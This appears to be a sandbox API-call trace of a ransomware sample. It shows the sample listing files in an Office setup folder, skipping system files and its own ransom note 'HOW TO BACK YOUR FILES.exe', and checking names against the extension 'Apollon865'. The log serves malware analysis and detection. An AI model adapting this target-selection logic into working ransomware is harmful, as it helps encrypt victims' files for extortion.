	[0075.511] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4514f2f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4514f2f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.511] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.511] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.511] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.511] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4514f2f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4514f2f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.512] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.513] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.513] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.513] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.513] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2="Apollon865.txt.exe") returned -1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2=".") returned 1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2="..") returned 1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2="windows") returned -1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2="bootmgr") returned -1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2="temp") returned -1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2="pagefile.sys") returned -1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2="boot") returned -1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2="ids.txt") returned -1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2="ntuser.dat") returned -1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2="perflogs") returned -1
	[0075.513] lstrcmpiW (lpString1="Access.en-us", lpString2="MSBuild") returned -1
	[0075.513] lstrlenW (lpString="Access.en-us") returned 12
	[0075.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*") returned 81
	[0075.513] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Access.en-us" | out: lpString1="Access.en-us") returned="Access.en-us"
	[0075.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0075.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5aa638
	[0075.513] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0075.513] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1
	[0075.513] lstrcmpiW (lpString1="Excel.en-us", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.513] lstrcmpiW (lpString1="Excel.en-us", lpString2="Apollon865.txt.exe") returned 1
	[0075.513] lstrcmpiW (lpString1="Excel.en-us", lpString2=".") returned 1
	[0075.513] lstrcmpiW (lpString1="Excel.en-us", lpString2="..") returned 1
	[0075.513] lstrcmpiW (lpString1="Excel.en-us", lpString2="windows") returned -1
	[0075.513] lstrcmpiW (lpString1="Excel.en-us", lpString2="bootmgr") returned 1
	[0075.513] lstrcmpiW (lpString1="Excel.en-us", lpString2="temp") returned -1
	[0075.513] lstrcmpiW (lpString1="Excel.en-us", lpString2="pagefile.sys") returned -1
	[0075.513] lstrcmpiW (lpString1="Excel.en-us", lpString2="boot") returned 1
	[0075.513] lstrcmpiW (lpString1="Excel.en-us", lpString2="ids.txt") returned -1
	[0075.514] lstrcmpiW (lpString1="Excel.en-us", lpString2="ntuser.dat") returned -1
	[0075.514] lstrcmpiW (lpString1="Excel.en-us", lpString2="perflogs") returned -1
	[0075.514] lstrcmpiW (lpString1="Excel.en-us", lpString2="MSBuild") returned -1
	[0075.514] lstrlenW (lpString="Excel.en-us") returned 11
	[0075.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us") returned 92
	[0075.514] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Excel.en-us" | out: lpString1="Excel.en-us") returned="Excel.en-us"
	[0075.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0075.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0075.514] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0075.514] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2="Apollon865.txt.exe") returned 1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2=".") returned 1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2="..") returned 1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2="windows") returned -1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2="bootmgr") returned 1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2="temp") returned -1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2="pagefile.sys") returned -1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2="boot") returned 1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2="ids.txt") returned -1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2="ntuser.dat") returned -1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2="perflogs") returned -1
	[0075.514] lstrcmpiW (lpString1="Groove.en-us", lpString2="MSBuild") returned -1
	[0075.514] lstrlenW (lpString="Groove.en-us") returned 12
	[0075.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us") returned 91
	[0075.514] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Groove.en-us" | out: lpString1="Groove.en-us") returned="Groove.en-us"
	[0075.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0075.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5aa700
	[0075.514] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7cb0
	[0075.514] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4514f2f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4514f2f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.514] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.514] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1
	[0075.514] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.514] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="Apollon865.txt.exe") returned 1
	[0075.514] lstrcmpiW (lpString1="InfoPath.en-us", lpString2=".") returned 1
	[0075.515] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="..") returned 1
	[0075.515] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="windows") returned -1
	[0075.515] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="bootmgr") returned 1
	[0075.515] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="temp") returned -1
	[0075.515] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="pagefile.sys") returned -1
	[0075.515] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="boot") returned 1
	[0075.515] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="ids.txt") returned 1
	[0075.515] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="ntuser.dat") returned -1
	[0075.515] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="perflogs") returned -1
	[0075.515] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="MSBuild") returned -1
	[0075.515] lstrlenW (lpString="InfoPath.en-us") returned 14
	[0075.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us") returned 92
	[0075.515] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="InfoPath.en-us" | out: lpString1="InfoPath.en-us") returned="InfoPath.en-us"
	[0075.515] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0075.515] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbe) returned 0x5aa7c8
	[0075.515] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c10
	[0075.515] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="Apollon865.txt.exe") returned 1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2=".") returned 1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="..") returned 1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="windows") returned -1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="bootmgr") returned 1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="temp") returned -1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="pagefile.sys") returned -1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="boot") returned 1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="ids.txt") returned 1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="ntuser.dat") returned 1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="perflogs") returned -1
	[0075.515] lstrcmpiW (lpString1="ODeploy.exe", lpString2="MSBuild") returned 1
	[0075.515] lstrlenW (lpString="ODeploy.exe") returned 11
	[0075.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us") returned 94
	[0075.515] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="ODeploy.exe" | out: lpString1="ODeploy.exe") returned="ODeploy.exe"
	[0075.515] lstrlenW (lpString="ODeploy.exe") returned 11
	[0075.515] lstrlenW (lpString="Apollon865") returned 10
	[0075.516] lstrcmpiW (lpString1="Deploy.exe", lpString2="Apollon865") returned 1
	[0075.516] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Office.en-us" | out: lpString1="Office.en-us") returned="Office.en-us"
	[0075.516] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0075.516] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5aa890
	[0075.516] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0075.516] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2="Apollon865.txt.exe") returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2=".") returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2="..") returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2="windows") returned -1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2="bootmgr") returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2="temp") returned -1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2="pagefile.sys") returned -1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2="boot") returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2="ids.txt") returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2="ntuser.dat") returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2="perflogs") returned -1
	[0075.516] lstrcmpiW (lpString1="Office32.en-us", lpString2="MSBuild") returned 1
	[0075.516] lstrlenW (lpString="Office32.en-us") returned 14
	[0075.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us") returned 92
	[0075.516] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Office32.en-us" | out: lpString1="Office32.en-us") returned="Office32.en-us"
	[0075.516] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0075.516] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbe) returned 0x5aa958
	[0075.516] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b50 | out: ListHead=0x5b76b0, ListEntry=0x5b7b50) returned 0x5b7c90
	[0075.516] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.WW", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.WW", lpString2="Apollon865.txt.exe") returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.WW", lpString2=".") returned 1
	[0075.516] lstrcmpiW (lpString1="Office32.WW", lpString2="..") returned 1
	[0075.517] lstrcmpiW (lpString1="Office32.WW", lpString2="windows") returned -1
	[0075.517] lstrcmpiW (lpString1="Office32.WW", lpString2="bootmgr") returned 1
	[0075.517] lstrcmpiW (lpString1="Office32.WW", lpString2="temp") returned -1
	[0075.517] lstrcmpiW (lpString1="Office32.WW", lpString2="pagefile.sys") returned -1
	[0075.517] lstrcmpiW (lpString1="Office32.WW", lpString2="boot") returned 1
	[0075.517] lstrcmpiW (lpString1="Office32.WW", lpString2="ids.txt") returned 1
	[0075.517] lstrcmpiW (lpString1="Office32.WW", lpString2="ntuser.dat") returned 1
	[0075.517] lstrcmpiW (lpString1="Office32.WW", lpString2="perflogs") returned -1
	[0075.517] lstrcmpiW (lpString1="Office32.WW", lpString2="MSBuild") returned 1
	[0075.517] lstrlenW (lpString="Office32.WW") returned 11
	[0075.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us") returned 94
	[0075.517] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Office32.WW" | out: lpString1="Office32.WW") returned="Office32.WW"
	[0075.517] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0075.517] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1518
	[0075.517] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x5b7b50
	[0075.517] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2="Apollon865.txt.exe") returned 1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2=".") returned 1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2="..") returned 1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2="windows") returned -1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2="bootmgr") returned 1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2="temp") returned -1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2="pagefile.sys") returned -1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2="boot") returned 1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2="ids.txt") returned 1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2="ntuser.dat") returned 1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2="perflogs") returned -1
	[0075.517] lstrcmpiW (lpString1="OneNote.en-us", lpString2="MSBuild") returned 1
	[0075.517] lstrlenW (lpString="OneNote.en-us") returned 13
	[0075.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW") returned 91
	[0075.517] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="OneNote.en-us" | out: lpString1="OneNote.en-us") returned="OneNote.en-us"
	[0075.517] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0075.517] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x5aaa20
	[0075.517] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc10
	[0075.518] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2=".") returned 1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="..") returned 1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="windows") returned -1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="bootmgr") returned 1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="temp") returned -1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="pagefile.sys") returned -1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="boot") returned 1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="ids.txt") returned 1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="ntuser.dat") returned 1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="perflogs") returned -1
	[0075.518] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="MSBuild") returned 1
	[0075.518] lstrlenW (lpString="OSETUP.DLL") returned 10
	[0075.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us") returned 93
	[0075.518] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="OSETUP.DLL" | out: lpString1="OSETUP.DLL") returned="OSETUP.DLL"
	[0075.518] lstrlenW (lpString="OSETUP.DLL") returned 10
	[0075.518] lstrlenW (lpString="Apollon865") returned 10
	[0075.518] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="OSetupPS.dll" | out: lpString1="OSetupPS.dll") returned="OSetupPS.dll"
	[0075.518] lstrlenW (lpString="OSetupPS.dll") returned 12
	[0075.518] lstrlenW (lpString="Apollon865") returned 10
	[0075.518] lstrcmpiW (lpString1="etupPS.dll", lpString2="Apollon865") returned 1
	[0075.518] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Outlook.en-us" | out: lpString1="Outlook.en-us") returned="Outlook.en-us"
	[0075.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0075.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x5aaae8
	[0075.518] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd70
	[0075.518] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2="Apollon865.txt.exe") returned 1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2=".") returned 1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2="..") returned 1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2="windows") returned -1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2="bootmgr") returned 1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2="temp") returned -1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2="pagefile.sys") returned 1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2="boot") returned 1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2="ids.txt") returned 1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2="ntuser.dat") returned 1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2="perflogs") returned 1
	[0075.519] lstrcmpiW (lpString1="pidgenx.dll", lpString2="MSBuild") returned 1
	[0075.519] lstrlenW (lpString="pidgenx.dll") returned 11
	[0075.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us") returned 93
	[0075.519] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="pidgenx.dll" | out: lpString1="pidgenx.dll") returned="pidgenx.dll"
	[0075.519] lstrlenW (lpString="pidgenx.dll") returned 11
	[0075.519] lstrlenW (lpString="Apollon865") returned 10
	[0075.519] lstrcmpiW (lpString1="idgenx.dll", lpString2="Apollon865") returned 1
	[0075.519] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms"
